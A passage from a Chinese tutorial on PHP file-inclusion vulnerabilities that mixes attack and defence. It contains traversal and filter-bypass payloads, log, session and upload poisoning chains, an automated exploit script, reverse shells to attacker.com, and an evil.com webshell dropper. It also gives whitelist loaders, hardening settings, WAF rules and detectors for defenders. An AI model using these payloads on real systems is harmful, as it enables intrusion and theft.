组合2: 绕过黑名单

php 复制代码
// 假设黑名单禁止 .php 后缀
?page=php://filter/read=string.rot13/resource=config.qrp
// .qrp 是 .php 的 ROT13

组合3: 多层编码

php 复制代码
?page=php://filter/read=convert.iconv.UTF-8.UTF-16|convert.base64-encode/resource=index.php

组合4: 压缩+编码

php 复制代码
?page=php://filter/compress.zlib|convert.base64-encode/resource=database.php

4.9 伪协议检测与防御

检测伪协议使用:

php 复制代码
// 检测是否使用伪协议
function hasWrapper($path) {
    $wrappers = stream_get_wrappers();
    foreach ($wrappers as $wrapper) {
        if (strpos($path, $wrapper . '://') === 0) {
            return true;
        }
    }
    return false;
}

// 使用
$filePath = $_GET['page'];
if (hasWrapper($filePath)) {
    die('Wrapper usage not allowed');
}

禁用危险伪协议:

ini 复制代码
; php.ini
allow_url_include = Off
allow_url_fopen = Off

白名单路径验证:

php 复制代码
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowed, true)) {
    $page = 'home';
}

include "/var/www/pages/$page.php";

5. 高级绕过技术详解

5.1 路径规范化绕过

5.1.1 双重编码

原理: URL双重编码可能绕过某些过滤器

php 复制代码
// 正常URL编码
%2e%2e%2f → ../

// 双重编码
%252e%252e%252f → ../ (解码两次)

攻击示例:

复制代码
?page=..%252f..%252f..%252fetc/passwd

解码过程:

复制代码
第一次解码: ..%2f..%2f..%2fetc/passwd
第二次解码: ../../etc/passwd
5.1.2 Unicode编码绕过

原理: 某些系统对Unicode字符的处理不同

复制代码
%c0%ae → . (UTF-8 overlong encoding)
%c0%af → /

攻击示例:

复制代码
?page=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc/passwd

注意: 现代PHP (5.4+)通常不受影响,但某些Web服务器可能存在漏洞。

5.1.3 绝对路径 vs 相对路径

相对路径攻击:

复制代码
?page=../../../../etc/passwd

绝对路径攻击:

复制代码
?page=/etc/passwd

绕过前缀检查:

php 复制代码
// 脆弱代码 - 试图防止路径穿越
$page = 'pages/' . $_GET['page'];
if (strpos($page, '..') === false) {
    include($page);
}

绕过:

复制代码
?page=/etc/passwd
// 结果: pages//etc/passwd
// PHP会解析为 /etc/passwd (双斜杠被规范化为单斜杠)

5.2 特殊字符处理

5.2.1 分号截断

原理: 分号在某些上下文可能截断字符串

php 复制代码
include($_GET['page'] . '.php');

攻击:

复制代码
?page=shell.php;cmd=whoami

可能结果:

复制代码
shell.php;.php

注意: 这取决于具体实现,通常不起作用,但值得了解。

5.2.2 换行符注入
http 复制代码
GET /?page=shell.php%0aHTTP/1.1%0d%0aHost:%20evil.com HTTP/1.1

原理: 尝试HTTP头部注入

5.3 字符串截断技巧

5.3.1 长路径截断

原理: 某些文件系统对路径长度有限制

bash 复制代码
# Linux: PATH_MAX = 4096
# Windows: MAX_PATH = 260

攻击:

复制代码
?page=../../../[非常长的路径]../../../etc/passwd

目的: 绕过包含的后缀检查

注意: 现代系统很少受此影响。

5.4 环境变量利用

5.4.1 /proc/self/environ

原理: /proc/self/environ 包含当前进程的环境变量

内容示例:

复制代码
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

攻击步骤:

步骤1: 注毒环境变量

http 复制代码
GET /<?php system($_GET['c']); ?> HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['c']); ?>

步骤2: 包含环境文件

复制代码
?page=/proc/self/environ&c=whoami

为什么可能有效:

  • User-Agent会被记录在环境变量中
  • 环境文件可能被包含
  • PHP代码可能被执行

限制:

  • 环境变量通常很大
  • 需要找到注入点
  • 某些环境不包含用户输入
5.4.2 /proc/self/cmdline

原理: 包含启动命令的命令行

攻击:

复制代码
?page=/proc/self/cmdline

可能用途:

  • 了解应用配置
  • 发现隐藏参数
  • 信息收集

5.5 文件描述符利用

原理: /proc/self/fd/ 包含所有打开的文件描述符

攻击:

复制代码
?page=/proc/self/fd/3
?page=/proc/self/fd/4

场景:

php 复制代码
// 如果应用曾经打开过敏感文件
$fp = fopen('/var/www/config/database.php', 'r');
// fd可能是3或4
// 攻击者可以访问:
include('/proc/self/fd/3');

枚举文件描述符:

php 复制代码
for ($i = 0; $i < 100; $i++) {
    $path = "/proc/self/fd/$i";
    if (@include($path)) {
        // 成功
    }
}

5.6 字符替换技巧

5.6.1 点号替换
php 复制代码
// 如果过滤器禁止点号
?page=../../../etc/passwd

绕过:

复制代码
?page=..%2f..%2f..%2fetc%2fpasswd
5.6.2 斜杠替换
php 复制代码
// Windows系统
?page=..\..\..\windows\win.ini
?page=..%5c..%5c..%5cwindows%5cwin.ini

5.7 长度限制绕过

场景: 应用限制输入长度

php 复制代码
$page = substr($_GET['page'], 0, 20);

绕过:

复制代码
// 使用短路径
?page=/etc/passwd        // 13字符
?page=/etc/shadow        // 11字符
?page=/var/log/apache    // 16字符

Windows短文件名:

复制代码
C:\Progra~1\file.txt    // C:\Program Files\file.txt

6. 从包含到RCE的完整路径

6.1 攻击链概述

文件包含漏洞的终极目标:

将信息泄露漏洞升级为远程代码执行(RCE)。

心智模型:

复制代码
LFI (本地文件包含)
    ↓
找到可控内容的写入点
    ↓
写入恶意代码到可被包含的文件
    ↓
包含该文件执行代码
    ↓
RCE (远程代码执行)

6.2 完整攻击路径

路径1: LFI + 日志投毒 = RCE

完整攻击流程:

复制代码
┌─────────────────────────────────────────────┐
│  第1步: 发现LFI漏洞                          │
├─────────────────────────────────────────────┤
│  测试: ?page=../../../../etc/passwd         │
│  结果: 成功读取文件 → LFI确认               │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  第2步: 确定日志位置                         │
├─────────────────────────────────────────────┤
│  尝试路径:                                   │
│  - /var/log/apache2/access.log             │
│  - /var/log/httpd/access_log               │
│  - /var/log/nginx/access.log               │
│  结果: 找到可访问的日志文件                 │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  第3步: 投毒日志                             │
├─────────────────────────────────────────────┤
│  发送请求:                                   │
│  GET /<?php system($_GET['c']); ?> HTTP/1.1│
│  Host: target.com                           │
│                                             │
│  日志记录:                                   │
│  192.168.1.1 - - [date] "GET /<?php...?>"   │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  第4步: 触发执行                             │
├─────────────────────────────────────────────┤
│  请求: ?page=../../../../var/log/apache2/   │
│         access.log&c=whoami                │
│                                             │
│  结果:                                      │
│  - 日志被包含                               │
│  - PHP代码被执行                            │
│  - 输出: www-data                           │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  第5步: 持久化访问                           │
├─────────────────────────────────────────────┤
│  执行:                                      │
│  - 反弹shell                                │
│  - 写入WebShell文件                         │
│  - 提权攻击                                 │
└─────────────────────────────────────────────┘

自动化脚本示例:

python 复制代码
#!/usr/bin/env python3
import requests

TARGET = "http://target.com/vuln.php"
LOG_PATH = "/var/log/apache2/access.log"
PAYLOAD = "<?php system($_GET['c']); ?>"

# Step 1: 投毒日志
print("[+] Poisoning log...")
requests.get(
    TARGET.replace("vuln.php", PAYLOAD),
    headers={'User-Agent': PAYLOAD}
)

# Step 2: 触发执行
print("[+] Triggering execution...")
cmd = "whoami"
url = f"{TARGET}?page=../../..{LOG_PATH}&c={cmd}"
r = requests.get(url)

print(f"[+] Output: {r.text}")
路径2: LFI + Session劫持 = RCE

完整攻击流程:

复制代码
┌─────────────────────────────────────────────┐
│  第1步: 发起Session                         │
├─────────────────────────────────────────────┤
│  请求:                                      │
│  POST /login.php                            │
│  Cookie: PHPSESSID=attacker123              │
│  Body: username=<?php system($_GET['c']); ?>│
│                                             │
│  Session文件: /tmp/sess_attacker123         │
│  内容: username|s:32:"<?php system(...)?>"  │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  第2步: 包含Session文件                      │
├─────────────────────────────────────────────┤
│  请求:                                      │
│  ?page=../../../../tmp/sess_attacker123&c=id│
│                                             │
│  结果:                                      │
│  - Session被包含                            │
│  - PHP代码被执行                            │
└─────────────────────────────────────────────┘

注意事项:

  • 需要知道Session ID
  • Session序列化格式影响执行
  • 默认php格式可能执行
  • php_serialize格式更安全
路径3: LFI + 文件上传 = RCE

完整攻击流程:

复制代码
┌─────────────────────────────────────────────┐
│  第1步: 上传恶意图片                         │
├─────────────────────────────────────────────┤
│  POST /upload.php                           │
│  Content-Type: image/jpeg                   │
│  Body: [二进制JPEG + PHP代码]               │
│                                             │
│  保存为: /uploads/avatar_[id].jpg           │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  第2步: 确定上传路径                         │
├─────────────────────────────────────────────┤
│  通过错误信息或枚举找到上传文件             │
│  /uploads/avatar_12345.jpg                  │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  第3步: 包含上传文件                         │
├─────────────────────────────────────────────┤
│  ?page=../../uploads/avatar_12345&c=ls -la  │
│                                             │
│  结果: 执行图片中的PHP代码                   │
└─────────────────────────────────────────────┘
路径4: LFI + 数据库注入 = RCE

场景: 应用从数据库读取文件路径

php 复制代码
$id = $_GET['id'];
$result = $db->query("SELECT template_path FROM templates WHERE id = $id");
$path = $result->fetchColumn();
include($path);

攻击:

sql 复制代码
-- 注入更新数据库
UPDATE templates SET template_path = '/var/www/uploads/shell.jpg' WHERE id = 1;
复制代码
?id=1

6.3 反弹Shell

一旦获得代码执行,下一步通常是反弹Shell

PHP反弹Shell:

php 复制代码
<?php
// 方法1: system
system('bash -i >& /dev/tcp/attacker.com/4444 0>&1');

// 方法2: proc_open
$descriptorspec = [
    0 => ['pipe', 'r'],
    1 => ['pipe', 'w'],
    2 => ['pipe', 'w']
];
$process = proc_open('bash', $descriptorspec, $pipes);
fwrite($pipes[0], "bash -i >& /dev/tcp/attacker.com/4444 0>&1\n");

// 方法3: fsockopen
$sock = fsockopen('attacker.com', 4444);
$proc = proc_open('/bin/sh', [['pipe','r'], ['pipe','w'], ['pipe','w']], $pipes);
fwrite($pipes[0], "bash -i >&/dev/tcp/attacker.com/4444 0>&1\n");

// 方法4: 使用nc
system('nc -e /bin/bash attacker.com 4444');
?>

监听器设置:

bash 复制代码
# 攻击者机器
nc -lvnp 4444

7. 纵深防御策略

7.1 输入验证层

7.1.1 白名单验证
php 复制代码
class SecurePageLoader {
    private array $allowedPages = [
        'home' => '/var/www/pages/home.php',
        'about' => '/var/www/pages/about.php',
        'contact' => '/var/www/pages/contact.php',
        'dashboard' => '/var/www/pages/dashboard.php'
    ];

    public function loadPage(string $pageName): void {
        // 白名单检查
        if (!isset($this->allowedPages[$pageName])) {
            http_response_code(404);
            echo 'Page not found';
            return;
        }

        $path = $this->allowedPages[$pageName];

        // 验证文件存在
        if (!file_exists($path)) {
            throw new RuntimeException('Page configuration error');
        }

        include $path;
    }
}

// 使用
$loader = new SecurePageLoader();
$loader->loadPage($_GET['page'] ?? 'home');
7.1.2 路径验证
php 复制代码
function validatePath(string $userPath, string $baseDir): string {
    // 规范化路径
    $realPath = realpath($baseDir . '/' . $userPath);
    $realBase = realpath($baseDir);

    // 验证路径在基础目录内
    if ($realPath === false || strpos($realPath, $realBase) !== 0) {
        throw new SecurityException('Path traversal detected');
    }

    return $realPath;
}

// 使用
$baseDir = '/var/www/pages';
$userPath = $_GET['page'] ?? 'home.php';

$safePath = validatePath($userPath, $baseDir);
include $safePath;

7.2 文件系统层

7.2.1 目录权限
bash 复制代码
# Web目录只读
chmod 555 /var/www/html

# 上传目录不可执行
chmod 755 /var/www/uploads
chown -R www-data:www-data /var/www/uploads

# 配置目录
chmod 500 /var/www/config
chown root:root /var/www/config
7.2.2 open_basedir 限制
ini 复制代码
; php.ini
open_basedir = /var/www/html:/tmp

效果:

  • 限制文件访问到指定目录
  • 防止访问/etc/passwd等敏感文件
  • 即使有LFI,影响范围也受限
7.2.3 禁用危险函数
ini 复制代码
; php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

7.3 应用架构层

7.3.1 使用前端控制器模式
php 复制代码
// index.php - 唯一入口点

// 定义页面映射
$routes = [
    'home' => 'HomeController',
    'about' => 'AboutController',
    'contact' => 'ContactController'
];

// 路由
$page = $_GET['page'] ?? 'home';

if (!isset($routes[$page])) {
    http_response_code(404);
    include 'views/404.php';
    exit;
}

// 安全的控制器加载
$controllerClass = $routes[$page];
$controllerFile = "controllers/$controllerClass.php";

if (file_exists($controllerFile)) {
    require_once $controllerFile;
    $controller = new $controllerClass();
    $controller->handle();
}
7.3.2 避免动态包含
php 复制代码
// ❌ 危险: 动态路径
include($_GET['page'] . '.php');

// ✅ 安全: 使用开关语句
$page = $_GET['page'] ?? 'home';

switch ($page) {
    case 'home':
        include 'pages/home.php';
        break;
    case 'about':
        include 'pages/about.php';
        break;
    default:
        include 'pages/404.php';
}

7.4 服务器配置层

7.4.1 Apache配置
apache 复制代码
# 禁止包含.php文件
<Directory /var/www/uploads>
    php_admin_flag engine off
    Options -ExecCGI
    AllowOverride None
</Directory>

# 防止访问敏感文件
<FilesMatch "^\.(htaccess|htpasswd|ini|log|sh|inc|bak)$">
    Order allow,deny
    Deny from all
</FilesMatch>
7.4.2 Nginx配置
nginx 复制代码
# 禁止上传目录执行PHP
location ~* ^/uploads/.*\.php$ {
    deny all;
}

# 限制敏感文件访问
location ~* \.(ini|log|sh|inc|bak)$ {
    deny all;
}

7.5 监控与检测层

7.5.1 日志监控
php 复制代码
// 记录所有包含操作
function secureInclude(string $path): void {
    global $includeLog;

    $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);
    $caller = $backtrace[1]['file'] ?? 'unknown';

    $includeLog[] = [
        'path' => $path,
        'caller' => $caller,
        'time' => date('Y-m-d H:i:s'),
        'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown'
    ];

    // 检测可疑模式
    if (preg_match('/\.\.|\.php|filter|data:/', $path)) {
        error_log("Suspicious include detected: $path from $caller");
        // 发送告警
    }

    include $path;
}
7.5.2 WAF规则
nginx 复制代码
# 检测常见的LFI模式
if ($args ~* "(\.\.\/|\.\.\\|%2e%2e|%252e)"){
    return 403;
}

if ($args ~* "php:\/\/filter|php:\/\/input|data:"){
    return 403;
}

if ($args ~* "etc\/passwd|proc\/self|wwwroot"){
    return 403;
}

7.6 完整的安全文件包含类

php 复制代码
<?php

class SecureIncluder {
    private string $baseDir;
    private array $allowedExtensions;
    private array $whitelist;

    public function __construct(
        string $baseDir,
        array $allowedExtensions = ['php'],
        array $whitelist = []
    ) {
        $this->baseDir = rtrim(realpath($baseDir), '/');
        $this->allowedExtensions = $allowedExtensions;
        $this->whitelist = $whitelist;
    }

    public function include(string $userInput): void {
        // 1. 白名单检查
        if (!empty($this->whitelist) && !in_array($userInput, $this->whitelist, true)) {
            throw new SecurityException('File not in whitelist');
        }

        // 2. 移除路径穿越
        if (preg_match('/\.\./', $userInput)) {
            throw new SecurityException('Path traversal detected');
        }

        // 3. 检查伪协议
        if (preg_match('/^[\w]+:\/\//i', $userInput)) {
            throw new SecurityException('Protocol wrappers not allowed');
        }

        // 4. 构造完整路径
        $fullPath = $this->baseDir . '/' . $userInput;

        // 5. 规范化路径
        $realPath = realpath($fullPath);

        if ($realPath === false) {
            throw new RuntimeException('File not found');
        }

        // 6. 验证路径在基础目录内
        if (strpos($realPath, $this->baseDir) !== 0) {
            throw new SecurityException('File outside base directory');
        }

        // 7. 验证扩展名
        $extension = strtolower(pathinfo($realPath, PATHINFO_EXTENSION));
        if (!in_array($extension, $this->allowedExtensions, true)) {
            throw new SecurityException('File type not allowed');
        }

        // 8. 安全包含
        require $realPath;

        // 9. 记录日志
        $this->logInclude($realPath);
    }

    private function logInclude(string $path): void {
        $logEntry = sprintf(
            "[%s] Include: %s | IP: %s | Script: %s\n",
            date('Y-m-d H:i:s'),
            $path,
            $_SERVER['REMOTE_ADDR'] ?? '-',
            $_SERVER['SCRIPT_NAME'] ?? '-'
        );

        error_log($logEntry, 3, '/var/log/php_includes.log');
    }
}

// 使用示例
$includer = new SecureIncluder(
    '/var/www/pages',
    ['php'],
    ['home', 'about', 'contact']
);

try {
    $page = $_GET['page'] ?? 'home';
    $includer->include($page);
} catch (SecurityException $e) {
    http_response_code(403);
    echo 'Access denied';
} catch (RuntimeException $e) {
    http_response_code(404);
    echo 'Page not found';
}
?>

8. 检测与监控实战

8.1 WAF检测规则

8.1.1 ModSecurity规则
apache 复制代码
# 检测路径穿越
SecRule ARGS "@rx \.\.|%2e%2e|%252e" \
    "id:1001,phase:2,deny,status:403,msg:'Path Traversal Attempt'"

# 检测伪协议
SecRule ARGS "@rx php://|data:|file://|phar://|expect://" \
    "id:1002,phase:2,deny,status:403,msg:'PHP Wrapper Attempt'"

# 检测敏感文件
SecRule ARGS "@rx /etc/passwd|/etc/shadow|proc/self/environ" \
    "id:1003,phase:2,deny,status:403,msg:'Sensitive File Access'"

# 检测常见的LFI模式
SecRule ARGS "@rx (include|require|file_get_contents)\(" \
    "id:1004,phase:2,deny,status:403,msg:'File Inclusion Function'"
8.1.2 自定义检测逻辑
php 复制代码
class LFIAttackDetector {
    private array $patterns = [
        'path_traversal' => '/\.\.|%2e%2e|%252e|\\x2e\\x2e/i',
        'wrapper' => '/php:\/\/|data:|file:\/\/|phar:|expect:/i',
        'sensitive_files' => '/\/etc\/passwd|\/etc\/shadow|proc\/self|wwwroot/i',
        'base64_injection' => '/convert\.base64-(en|de)code/i',
        'compression' => '/compress\.(zlib|bzip2)/i'
    ];

    public function detect(string $input): array {
        $threats = [];

        foreach ($this->patterns as $type => $pattern) {
            if (preg_match($pattern, $input)) {
                $threats[] = [
                    'type' => $type,
                    'pattern' => $pattern,
                    'input' => $input,
                    'ip' => $_SERVER['REMOTE_ADDR'] ?? '-',
                    'time' => date('Y-m-d H:i:s')
                ];
            }
        }

        if (!empty($threats)) {
            $this->logThreats($threats);
        }

        return $threats;
    }

    private function logThreats(array $threats): void {
        foreach ($threats as $threat) {
            $logEntry = json_encode($threat) . "\n";
            file_put_contents(
                '/var/log/lfi_threats.log',
                $logEntry,
                FILE_APPEND | LOCK_EX
            );
        }

        // 发送告警
        $this->sendAlert($threats);
    }

    private function sendAlert(array $threats): void {
        // 集成到SIEM或发送邮件
        // mail('security@example.com', 'LFI Attack Detected', json_encode($threats));
    }
}

// 使用中间件
$detector = new LFIAttackDetector();

foreach ($_GET as $key => $value) {
    $threats = $detector->detect($value);
    if (!empty($threats)) {
        http_response_code(403);
        die('Access denied');
    }
}

8.2 审计日志

8.2.1 记录所有包含操作
php 复制代码
class IncludeLogger {
    private string $logFile;
    private array $suspiciousPatterns = [
        '../', '..\\', 'php://', 'data:', '/etc/', '/proc/'
    ];

    public function __construct(string $logFile) {
        $this->logFile = $logFile;
    }

    public function logInclude(string $path, string $source): void {
        $entry = [
            'timestamp' => date('Y-m-d H:i:s'),
            'path' => $path,
            'source' => $source,
            'ip' => $_SERVER['REMOTE_ADDR'] ?? '-',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '-',
            'script' => $_SERVER['SCRIPT_NAME'] ?? '-',
            'is_suspicious' => $this->isSuspicious($path)
        ];

        $this->write($entry);

        if ($entry['is_suspicious']) {
            $this->alert($entry);
        }
    }

    private function isSuspicious(string $path): bool {
        foreach ($this->suspiciousPatterns as $pattern) {
            if (stripos($path, $pattern) !== false) {
                return true;
            }
        }
        return false;
    }

    private function write(array $entry): void {
        $line = json_encode($entry) . "\n";
        file_put_contents($this->logFile, $line, FILE_APPEND | LOCK_EX);
    }

    private function alert(array $entry): void {
        // 发送到SIEM或触发告警
        error_log("Suspicious include detected: " . json_encode($entry));
    }
}

// 覆盖include函数
function safeInclude(string $path): void {
    static $logger = null;

    if ($logger === null) {
        $logger = new IncludeLogger('/var/log/include_audit.log');
    }

    $logger->logInclude($path, debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2)[1]['function'] ?? 'unknown');
    include $path;
}

8.3 实时监控

8.3.1 文件监控
bash 复制代码
#!/bin/bash
# 监控上传目录的新文件

inotifywait -m -e create --format '%w%f' /var/www/uploads | while read FILE
do
    echo "New file detected: $FILE"

    # 检查是否包含PHP代码
    if strings "$FILE" | grep -q '<?php'; then
        echo "ALERT: PHP code detected in upload!"
        # 移除文件
        rm "$FILE"
        # 发送告警
        logger -p local0.alert "PHP code detected in upload: $FILE"
    fi
done
8.3.2 日志监控
bash 复制代码
#!/bin/bash
# 监控Apache访问日志中的LFI尝试

tail -f /var/log/apache2/access.log | grep --line-buffered -E '(\.\.|php://|data:|/etc/|/proc/)' | while read LINE
do
    echo "Potential LFI attack: $LINE"
    # 提取IP并封禁
    IP=$(echo "$LINE" | awk '{print $1}')
    iptables -A INPUT -s "$IP" -j DROP
    logger -p local0.alert "Blocked IP due to LFI attempt: $IP"
done

9. 真实案例深度分析

9.1 案例一: e-commerce平台LFI漏洞

漏洞背景:

某电商平台的模板加载功能存在LFI漏洞:

php 复制代码
// theme.php
$theme = $_GET['theme'] ?? 'default';
$themePath = '/var/www/themes/' . $theme . '/layout.php';
if (file_exists($themePath)) {
    include($themePath);
}

攻击过程:

步骤1: 发现LFI

复制代码
GET /theme.php?theme=../../../../etc/passwd
结果: root:x:0:0:root:/root:/bin/bash...

步骤2: 寻找RCE路径

  • 尝试日志投毒 - 日志不可读
  • 尝试Session劫持 - Session不在标准位置
  • 尝试文件上传 - 上传目录被禁

步骤3: 发现avatar功能

发现用户头像上传功能,保存为:

复制代码
/uploads/avatars/<user_id>.jpg

步骤4: 上传图片马

http 复制代码
POST /upload_avatar.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="avatar"; filename="evil.jpg"
Content-Type: image/jpeg

GIF89a<?php system($_GET['c']); ?>
------Boundary--

步骤5: 确定上传路径

复制代码
/theme.php?theme=../../../../uploads/avatars/123
结果: 成功包含

步骤6: 执行命令

复制代码
/theme.php?theme=../../../../uploads/avatars/123&c=whoami
输出: www-data

修复方案:

php 复制代码
class ThemeLoader {
    private array $allowedThemes = ['default', 'dark', 'light', 'blue'];
    private string $themesBasePath;

    public function __construct(string $basePath) {
        $this->themesBasePath = rtrim(realpath($basePath), '/');
    }

    public function loadTheme(string $themeName): void {
        // 白名单验证
        if (!in_array($themeName, $this->allowedThemes, true)) {
            throw new InvalidArgumentException('Invalid theme');
        }

        $themePath = $this->themesBasePath . '/' . $themeName . '/layout.php';
        $realPath = realpath($themePath);

        // 验证路径在主题目录内
        if ($realPath === false || strpos($realPath, $this->themesBasePath) !== 0) {
            throw new SecurityException('Invalid theme path');
        }

        include $realPath;
    }
}

// 使用
$loader = new ThemeLoader('/var/www/themes');
$loader->loadTheme($_GET['theme'] ?? 'default');

9.2 案例二: CMS系统RFI漏洞

漏洞背景:

某旧版CMS的插件加载功能存在RFI:

php 复制代码
// plugin.php
$pluginUrl = $_GET['plugin_url'];
if ($pluginUrl) {
    include($pluginUrl . '/init.php');
}

配置:

ini 复制代码
allow_url_include = On
allow_url_fopen = On

攻击过程:

步骤1: 设置恶意服务器

攻击者在 http://evil.com/init.php 放置:

php 复制代码
<?php
file_put_contents('/var/www/html/shell.php', '<?php system($_GET["c"]); ?>');
echo 'Plugin installed!';
?>

步骤2: 触发RFI

复制代码
GET /plugin.php?plugin_url=http://evil.com

步骤3: 访问WebShell

复制代码
GET /shell.php?c=whoami

修复方案:

php 复制代码
// 1. 禁用URL包含
// allow_url_include = Off

// 2. 本地插件白名单
class PluginLoader {
    private array $allowedPlugins = [
        'analytics' => '/var/www/plugins/analytics/init.php',
        'seo' => '/var/www/plugins/seo/init.php',
        'cache' => '/var/www/plugins/cache/init.php'
    ];

    public function loadPlugin(string $pluginName): void {
        if (!isset($this->allowedPlugins[$pluginName])) {
            throw new InvalidArgumentException('Plugin not allowed');
        }

        $path = $this->allowedPlugins[$pluginName];

        if (!file_exists($path)) {
            throw new RuntimeException('Plugin file not found');
        }

        include $path;
    }
}

9.3 案例三: php://filter信息泄露

漏洞背景:

某应用的配置文件读取功能:

php 复制代码
$config = $_GET['config'];
include('/var/www/config/' . $config);

攻击过程:

步骤1: 尝试直接读取

复制代码
GET /?config=database.php
结果: (空,因为文件只定义变量无输出)

步骤2: 使用php://filter

复制代码
GET /?config=php://filter/convert.base64-encode/resource=/var/www/config/database.php
结果: PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsKJGRiX3VzZXIgPS...

步骤3: 解码获取凭证

bash 复制代码
echo "PD9waHAK..." | base64 -d
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'Sup3rS3cr3t!';
$db_name = 'production';
?>

修复方案:

php 复制代码
class ConfigLoader {
    private array $allowedConfigs = [
        'app' => '/var/www/config/app.php',
        'database' => '/var/www/config/database.php',
        'email' => '/var/www/config/email.php'
    ];

    public function loadConfig(string $configName): array {
        if (!isset($this->allowedConfigs[$configName])) {
            throw new InvalidArgumentException('Invalid config');
        }

        $path = $this->allowedConfigs[$configName];
        $realPath = realpath($path);

        if ($realPath === false) {
            throw new RuntimeException('Config not found');
        }

        // 安全地加载配置
        $config = [];
        include($realPath);

        return $config;
    }
}

10. 总结与实践指南

10.1 关键要点回顾

文件包含漏洞本质:

  1. 用户控制的路径 - 输入未经验证直接用于文件操作
  2. 动态代码执行 - include/require 会解析并执行被包含文件
  3. 作用域继承 - 被包含代码继承当前变量环境

LFI vs RFI:

方面 LFI RFI
配置要求 allow_url_include=On
攻击难度 中等
危害程度 信息泄露→RCE 直接RCE
现代PHP 仍然常见 较少(默认禁用)

LFI到RCE的路径:

  1. 日志投毒 - 向日志文件注入代码
  2. Session劫持 - 控制Session内容
  3. 文件上传 - 上传包含代码的文件
  4. 数据库注入 - 修改数据库中的路径

伪协议攻击面:

复制代码
php://filter     → 读取任意文件源码
php://input      → 执行POST body中的代码
data://          → 直接执行Base64编码的代码
phar://          → PHAR反序列化攻击
file://          → 访问本地文件系统

10.2 防御清单

代码层防御:

  • 使用白名单验证所有文件输入
  • 避免直接使用用户输入构造路径
  • 使用realpath()验证路径在预期目录内
  • 检查并拒绝包含..的输入
  • 禁止伪协议使用
  • 验证文件扩展名

配置层防御:

ini 复制代码
; php.ini 安全配置
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html:/tmp
disable_functions = exec,shell_exec,system,passthru,proc_open,popen

文件系统防御:

bash 复制代码
# Web目录只读
chmod 555 /var/www/html

# 上传目录不可执行
chmod 755 /var/www/uploads

服务器层防御:

apache 复制代码
# Apache配置
<Directory /var/www/uploads>
    php_admin_flag engine off
</Directory>

10.3 检测清单

WAF规则应该检测:

  • 路径穿越模式: .., %2e%2e
  • 伪协议: php://, data://, phar://
  • 敏感文件: /etc/passwd, /proc/self/
  • Base64过滤器: convert.base64-encode
  • 常见日志路径: /var/log/

日志监控:

  • 记录所有include/require操作
  • 监控异常的文件访问模式
  • 检测访问/proc/的行为
  • 追踪上传文件的后缀异常

10.4 实战建议

对于开发者:

  1. 永远不要直接包含用户输入
  2. 使用白名单而不是黑名单
  3. 验证路径在预期目录内
  4. 禁用URL包含除非绝对必要
  5. 定期审计所有文件操作代码

对于安全研究员:

  1. 测试常见路径 - /etc/passwd, /proc/self/environ
  2. 寻找可控文件 - 日志、Session、上传
  3. 尝试所有伪协议 - 特别是php://filter
  4. 关注配置错误 - allow_url_include状态
  5. 综合利用 - LFI+其他漏洞=RCE

对于系统管理员:

  1. 最小权限 - Web进程只读访问
  2. 隔离上传 - 独立域名、禁执行
  3. 监控日志 - 实时检测异常
  4. 及时更新 - 保持PHP最新版本
  5. 纵深防御 - 多层安全控制
相关推荐
哆啦code梦2 小时前
2024 OWASP十大安全威胁解析
安全·系统安全·owasp top 10
迎仔2 小时前
02-网络硬件设备详解:从大喇叭到算力工厂的进化
网络·智能路由器
嘿起屁儿整3 小时前
面试点(网络层面)
前端·网络
serve the people3 小时前
python环境搭建 (十二) pydantic和pydantic-settings类型验证与解析
java·网络·python
_运维那些事儿3 小时前
VM环境的CI/CD
linux·运维·网络·阿里云·ci/cd·docker·云计算
云小逸3 小时前
【nmap源码学习】 Nmap网络扫描工具深度解析:从基础参数到核心扫描逻辑
网络·数据库·学习
网络安全研究所3 小时前
AI安全提示词注入攻击如何操控你的智能助手?
人工智能·安全
海心焱4 小时前
安全之盾:深度解析 MCP 如何缝合企业级 SSO 身份验证体系,构建可信 AI 数据通道
人工智能·安全
毕设源码-邱学长4 小时前
【开题答辩全过程】以 基于PHP的发热病人管理平台的设计与实现为例,包含答辩的问题和答案
开发语言·php